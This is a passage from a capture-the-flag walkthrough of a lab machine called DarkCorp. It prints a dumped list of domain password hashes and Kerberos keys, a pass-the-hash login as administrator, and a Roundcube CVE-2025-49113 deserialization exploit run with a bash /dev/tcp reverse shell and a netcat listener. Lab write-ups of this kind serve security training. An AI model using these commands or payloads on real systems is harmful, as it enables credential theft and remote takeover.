DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
darkcorp\DC-01$:aes256-cts-hmac-sha1-96:23f8c53f91fd2035d0dc5163341bd883cc051c1ba998f5aed318cd0d820fa1b2
darkcorp\DC-01$:aes128-cts-hmac-sha1-96:2715a4681263d6f9daf03b7dd7065a23
darkcorp\DC-01$:des-cbc-md5:eca71034201a3826
darkcorp\DC-01$:plain_password_hex:90d17589c9c348f3ea541982f161b1f658cec76e33e32762cba25cf55643a853efd93dd5cffec0cba16e008a2c7112715437d6a33b72e28405c53f68965349b0676128c9cb1997717523971bdaf255f72d9664d3ed5c06f1e5eb3a5b2ef6dc435727ed160e340591724e1230782e2484e25f8484a7b21bf102f71c9a91219cc23743377526a9c73eec8a70def939e673dd244d21be9ec18ba0d915bc080e8bfb3ac8953b5c6e64adb1107b062ddad75ce0e1f805bcdb52de979599787fac9d8246807055b4671191a41804f7918da2b82e3a4fde2959cd227a8af08982a89bcc7437e13426e8ff74273c4e0538a65eeb
darkcorp\DC-01$:aad3b435b51404eeaad3b435b51404ee:45d397447e9d8a8c181655c27ef31d28:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0x395bad4405a9fd2285737a8ce7c6d9d60e6fceb3
dpapi_userkey:0x3f426bba655ad645920a84d740836ed1edf35836
[*] NL$KM
 0000   65 DB D5 E7 F9 08 5C 24  AB 45 B5 E5 5D E5 3F DD   e.....\$.E..].?.
 0010   89 93 2A C7 F3 70 1E 5A  B7 8D 4E D3 BA 3B 5F 0C   ..*..p.Z..N..;_.
 0020   A9 FC 32 69 57 6D E6 78  D0 07 33 43 FE 1E 06 A6   ..2iWm.x..3C....
 0030   1E 56 2C 27 91 47 56 54  91 0D 20 79 E7 7A 2F 95   .V,'.GVT.. y.z/.
NL$KM:65dbd5e7f9085c24ab45b5e55de53fdd89932ac7f3701e5ab78d4ed3ba3b5f0ca9fc3269576de678d0073343fe1e06a61e562c2791475654910d2079e77a2f95
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fcb3ca5a19a1ccf2d14c13e8b64cde0f:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:7c032c3e2657f4554bc7af108bd5ef17:::
victor.r:1103:aad3b435b51404eeaad3b435b51404ee:06207752633f7509f8e2e0d82e838699:::
svc_acc:1104:aad3b435b51404eeaad3b435b51404ee:01f55ea10774cce781a1b172478fcd25:::
john.w:1105:aad3b435b51404eeaad3b435b51404ee:b31090fdd33a4044cd815558c4d05b04:::
angela.w:1106:aad3b435b51404eeaad3b435b51404ee:957246c8137069bca672dc6aa0af7c7a:::
angela.w.adm:1107:aad3b435b51404eeaad3b435b51404ee:cf8b05d0462fc44eb783e3f423e2a138:::
taylor.b:1108:aad3b435b51404eeaad3b435b51404ee:ab32e2ad1f05dab03ee4b4d61fcb84ab:::
taylor.b.adm:14101:aad3b435b51404eeaad3b435b51404ee:0577b4b3fb172659dbac0be4554610f8:::
darkcorp.htb\eugene.b:25601:aad3b435b51404eeaad3b435b51404ee:84d9acc39d242f951f136a433328cf83:::
darkcorp.htb\bryce.c:25603:aad3b435b51404eeaad3b435b51404ee:5aa8484c54101e32418a533ad956ca60:::
DC-01$:1000:aad3b435b51404eeaad3b435b51404ee:45d397447e9d8a8c181655c27ef31d28:::
DRIP$:1601:aad3b435b51404eeaad3b435b51404ee:151fe64718dc2484760ddb30a01373a8:::
WEB-01$:20601:aad3b435b51404eeaad3b435b51404ee:8f33c7fc7ff515c1f358e488fbb8b675:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:97064b5e2ed9569a7a61cb6e71fd624e20de8464fc6d3f7f9c9ccd5ec865cd05
Administrator:aes128-cts-hmac-sha1-96:0424167c3041ed3b8df4ab1c996690c1
Administrator:des-cbc-md5:a1b004ad46dc19d9
krbtgt:aes256-cts-hmac-sha1-96:2795479225a152c8958119e8549079f2a59e101d84a3e464603a9cced55580d6
krbtgt:aes128-cts-hmac-sha1-96:183ebcd77ae33f476eb13c3f4404b98d
krbtgt:des-cbc-md5:7fe9e5ad67524001
victor.r:aes256-cts-hmac-sha1-96:84e79cb6b8959ebdda0dc73d2c6728bb9664d0d75c2aef702b0ea0a4126570bb
victor.r:aes128-cts-hmac-sha1-96:bc1fa04172b62be4428af05dcd4941af
victor.r:des-cbc-md5:62491fa740918316
svc_acc:aes256-cts-hmac-sha1-96:21ebfe2a41e5d614795ef004a06135748d5af03d0f2ca7fd6f6d804ac00f759a
svc_acc:aes128-cts-hmac-sha1-96:aebdba02d03943f17f553495f5f5e1d1
svc_acc:des-cbc-md5:5bec0bb54a405ed9
john.w:aes256-cts-hmac-sha1-96:6c0d89a7461f21150bbab0e4c9dea04ca4feb27a4f432c95030dbfa17f4f7de5
john.w:aes128-cts-hmac-sha1-96:16da7304c10a476b10a0ad301f858826
john.w:des-cbc-md5:e90b041f52b30875
angela.w:aes256-cts-hmac-sha1-96:25f7053fcfb74cf4f02dab4b2c7cb1ae506f3c3c09e4a5b7229b9f21a761830a
angela.w:aes128-cts-hmac-sha1-96:15f1467015c7cdd49ef74fd2fe549cf3
angela.w:des-cbc-md5:5b0168dacbc22a5e
angela.w.adm:aes256-cts-hmac-sha1-96:bec3236552b087f396597c10431e9a604be4b22703d37ae45cde6cd99873c693
angela.w.adm:aes128-cts-hmac-sha1-96:994dccb881c6a80c293cac8730fd18a2
angela.w.adm:des-cbc-md5:cb0268169289bfd9
taylor.b:aes256-cts-hmac-sha1-96:b269239174e6de5c93329130e77143d7a560f26938c06dae8b82cae17afb809c
taylor.b:aes128-cts-hmac-sha1-96:a3f7e9307519e6d3cc8e4fba83df0fef
taylor.b:des-cbc-md5:9b8010a21f1c7a3d
taylor.b.adm:aes256-cts-hmac-sha1-96:4c1e6783666861aac09374bee2bc48ba5ad331f3ac87e067c4a330c6a31dd71a
taylor.b.adm:aes128-cts-hmac-sha1-96:85712fd85df4669be88350520651cfe2
taylor.b.adm:des-cbc-md5:ce6176f4f4e5cd9e
darkcorp.htb\eugene.b:aes256-cts-hmac-sha1-96:33e0cf90ad3c5d0cd264207421c506b56b8ca9703b5be8c58a97169851067fd1
darkcorp.htb\eugene.b:aes128-cts-hmac-sha1-96:adf8b2743349be9684f8ec27df53fa92
darkcorp.htb\eugene.b:des-cbc-md5:2f5ef4b06b231afd
darkcorp.htb\bryce.c:aes256-cts-hmac-sha1-96:e835ec6b7d680472bdf65ac11ec17395930b5d778ba08481ef7290616b1fa7a8
darkcorp.htb\bryce.c:aes128-cts-hmac-sha1-96:09b1a46858723452ce11da2335b602b0
darkcorp.htb\bryce.c:des-cbc-md5:26d55b5849b6e623
DC-01$:aes256-cts-hmac-sha1-96:23f8c53f91fd2035d0dc5163341bd883cc051c1ba998f5aed318cd0d820fa1b2
DC-01$:aes128-cts-hmac-sha1-96:2715a4681263d6f9daf03b7dd7065a23
DC-01$:des-cbc-md5:8038f74f7c0da1b5
DRIP$:aes256-cts-hmac-sha1-96:0af3228efe394bbe3cc9e4b5a4f67c1ece5b8d1147ea81ae761d7078ddfd7fde
DRIP$:aes128-cts-hmac-sha1-96:ad2815103da00827b7948cf319ae3bbd
DRIP$:des-cbc-md5:85ab756bc892493d
WEB-01$:aes256-cts-hmac-sha1-96:f16448747d7df00ead462e40b26561ba01be87d83068ef0ed766ec8e7dd2a12e
WEB-01$:aes128-cts-hmac-sha1-96:7867cb5a59da118ad045a5da54039eae
WEB-01$:des-cbc-md5:38e00bb3d901eaef
[*] Cleaning up...
[*] Stopping service RemoteRegistry
[-] SCMR SessionError: code: 0x41b - ERROR_DEPENDENT_SERVICES_RUNNING - A stop control has been sent to a service that other running services are dependent on.
[*] Cleaning up...
[*] Stopping service RemoteRegistry
Exception ignored in: <function Registry.__del__ at 0x781862545e40>
Traceback (most recent call last):
  File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.12/site-packages/impacket/winregistry.py", line 185, in __del__
  File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.12/site-packages/impacket/winregistry.py", line 182, in close
  File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.12/site-packages/impacket/examples/secretsdump.py", line 360, in close
  File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.12/site-packages/impacket/smbconnection.py", line 605, in closeFile
  File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.12/site-packages/impacket/smb3.py", line 1356, in close
  File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.12/site-packages/impacket/smb3.py", line 473, in sendSMB
  File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.12/site-packages/impacket/smb3.py", line 442, in signSMB
  File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.12/site-packages/impacket/crypto.py", line 150, in AES_CMAC
  File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.12/site-packages/Cryptodome/Cipher/AES.py", line 229, in new
KeyError: 'Cryptodome.Cipher.AES'
Exception ignored in: <function Registry.__del__ at 0x781862545e40>
Traceback (most recent call last):
  File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.12/site-packages/impacket/winregistry.py", line 185, in __del__
  File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.12/site-packages/impacket/winregistry.py", line 182, in close
  File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.12/site-packages/impacket/examples/secretsdump.py", line 360, in close
  File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.12/site-packages/impacket/smbconnection.py", line 605, in closeFile
  File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.12/site-packages/impacket/smb3.py", line 1356, in close
  File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.12/site-packages/impacket/smb3.py", line 473, in sendSMB
  File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.12/site-packages/impacket/smb3.py", line 442, in signSMB
  File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.12/site-packages/impacket/crypto.py", line 150, in AES_CMAC
  File "/home/oxdf/.local/share/uv/tools/impacket/lib/python3.12/site-packages/Cryptodome/Cipher/AES.py", line 229, in new
KeyError: 'Cryptodome.Cipher.AES'

This is not at all necessary, but a nice way to get access as the administrator account using WinRM:

oxdf@hacky$ proxychains -q evil-winrm-py -i dc-01 -u administrator -H fcb3ca5a19a1ccf2d14c13e8b64cde0f
          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.4.1

[*] Connecting to 'dc-01:5985' as 'administrator'
evil-winrm-py PS C:\Users\Administrator\Documents>

And grab the root flag:

evil-winrm-py PS C:\Users\Administrator\Desktop> cat root.txt
2dc68348************************

Beyond Root

Since the release of DarkCorp, a new vulnerability / exploit, CVE-2025-49113, dropped. This vulnerability in RoundCube is described as:

Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution by authenticated users because the _from parameter in a URL is not validated in program/actions/settings/upload.php, leading to PHP Object Deserialization.

This repo has a nice POC that will generate the serialized object and upload it to run a command. I’ll tell it to ping my host:

oxdf@hacky$ php CVE-2025-49113.php http://mail.drip.htb 0xdf 0xdf 'ping -c 1 10.10.14.8'
### Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]

### Retrieving CSRF token and session cookie...

### Authenticating user: 0xdf

### Authentication successful

### Command to be executed: 
ping -c 1 10.10.14.8

### Injecting payload...

### End payload: http://mail.drip.htb/?_from=edit-%21%C5%22%C5%3B%C5i%C5%3A%C50%C5%3B%C5O%C5%3A%C51%C56%C5%3A%C5%22%C5C%C5r%C5y%C5p%C5t%C5_%C5G%C5P%C5G%C5_%C5E%C5n%C5g%C5i%C5n%C5e%C5%22%C5%3A%C51%C5%3A%C5%7B%C5S%C5%3A%C52%C56%C5%3A%C5%22%C5%5C%C50%C50%C5C%C5r%C5y%C5p%C5t%C5_%C5G%C5P%C5G%C5_%C5E%C5n%C5g%C5i%C5n%C5e%C5%5C%C50%C50%C5_%C5g%C5p%C5g%C5c%C5o%C5n%C5f%C5%22%C5%3B%C5S%C5%3A%C52%C52%C5%3A%C5%22%C5p%C5i%C5n%C5g%C5+%C5-%C5c%C5+%C51%C5+%C51%C50%C5%5C%C52%C5e%C51%C50%C5%5C%C52%C5e%C51%C54%C5%5C%C52%C5e%C58%C5%3B%C5%23%C5%22%C5%3B%C5%7D%C5i%C5%3A%C50%C5%3B%C5b%C5%3A%C50%C5%3B%C5%7D%C5%22%C5%3B%C5%7D%C5%7D%C5&_task=settings&_framed=1&_remote=1&_id=1&_uploadid=1&_unlock=1&_action=upload

### Payload injected successfully

### Executing payload...

### Exploit executed successfully

There is an incoming ICMP packet:

oxdf@hacky$ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
21:27:25.865542 IP 10.10.11.54 > 10.10.14.8: ICMP echo request, id 1000, seq 1, length 64
21:27:25.865566 IP 10.10.14.8 > 10.10.11.54: ICMP echo reply, id 1000, seq 1, length 64

I can change that to a bash reverse shell:

oxdf@hacky$ php CVE-2025-49113.php http://mail.drip.htb 0xdf 0xdf 'bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"'
### Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]

### Retrieving CSRF token and session cookie...

### Authenticating user: 0xdf

### Authentication successful

### Command to be executed: 
bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"

### Injecting payload...

### End payload: http://mail.drip.htb/?_from=edit-%21%C0%22%C0%3B%C0i%C0%3A%C00%C0%3B%C0O%C0%3A%C01%C06%C0%3A%C0%22%C0C%C0r%C0y%C0p%C0t%C0_%C0G%C0P%C0G%C0_%C0E%C0n%C0g%C0i%C0n%C0e%C0%22%C0%3A%C01%C0%3A%C0%7B%C0S%C0%3A%C02%C06%C0%3A%C0%22%C0%5C%C00%C00%C0C%C0r%C0y%C0p%C0t%C0_%C0G%C0P%C0G%C0_%C0E%C0n%C0g%C0i%C0n%C0e%C0%5C%C00%C00%C0_%C0g%C0p%C0g%C0c%C0o%C0n%C0f%C0%22%C0%3B%C0S%C0%3A%C05%C01%C0%3A%C0%22%C0b%C0a%C0s%C0h%C0+%C0-%C0c%C0+%C0%22%C0b%C0a%C0s%C0h%C0+%C0-%C0i%C0+%C0%3E%C0%26%C0+%C0%2F%C0d%C0e%C0v%C0%2F%C0t%C0c%C0p%C0%2F%C01%C00%C0%5C%C02%C0e%C01%C00%C0%5C%C02%C0e%C01%C04%C0%5C%C02%C0e%C08%C0%2F%C04%C04%C03%C0+%C00%C0%3E%C0%26%C01%C0%22%C0%3B%C0%23%C0%22%C0%3B%C0%7D%C0i%C0%3A%C00%C0%3B%C0b%C0%3A%C00%C0%3B%C0%7D%C0%22%C0%3B%C0%7D%C0%7D%C0&_task=settings&_framed=1&_remote=1&_id=1&_uploadid=1&_unlock=1&_action=upload

### Payload injected successfully

### Executing payload...

It works:

oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.54 49856
bash: cannot set terminal process group (507): Inappropriate ioctl for device
bash: no job control in this shell
www-data@drip:/var/www/roundcube$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@drip:/var/www/roundcube$ 

This doesn’t buy me a ton. As the www-data user, I can work my way to the postgres user, joining the same path as above from there.